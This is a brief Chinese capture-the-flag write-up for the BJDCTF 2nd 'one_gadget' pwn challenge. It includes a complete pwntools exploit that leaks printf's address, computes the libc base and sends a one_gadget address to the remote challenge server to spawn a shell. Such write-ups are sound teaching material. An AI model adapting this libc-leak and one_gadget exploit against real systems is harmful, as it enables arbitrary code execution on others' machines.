[BJDCTF 2nd]one_gadget

[BJDCTF 2nd]one_gadget_第1张图片

[BJDCTF 2nd]one_gadget_第2张图片
[BJDCTF 2nd]one_gadget_第3张图片
这里主要是用到了这个工具,但是这个工具的原理我还不了解,但是我调试了一下,最主要的是这个工具提供的shell需要满足它下面给的约束条件,对于这个题目而言要利用这个shell的条件就是[rsp + 0x70] == NULL
[BJDCTF 2nd]one_gadget_第4张图片
exp

from pwn import *

context(log_level = 'debug')

libc = ELF('./libc/libc-2.29.64.so')
p = remote('node3.buuoj.cn', 25656)
p.recvuntil('0x'.encode())
printf_addr = int(p.recvn(12), 16)
printf_offset = libc.sym['printf']
libc_base = printf_addr - printf_offset

execve_offset = 0x106ef8
execve_addr = libc_base + execve_offset
payload = str(execve_addr)
p.sendline(payload)
p.interactive()

[BJDCTF 2nd]one_gadget_第5张图片

你可能感兴趣的:(pwn)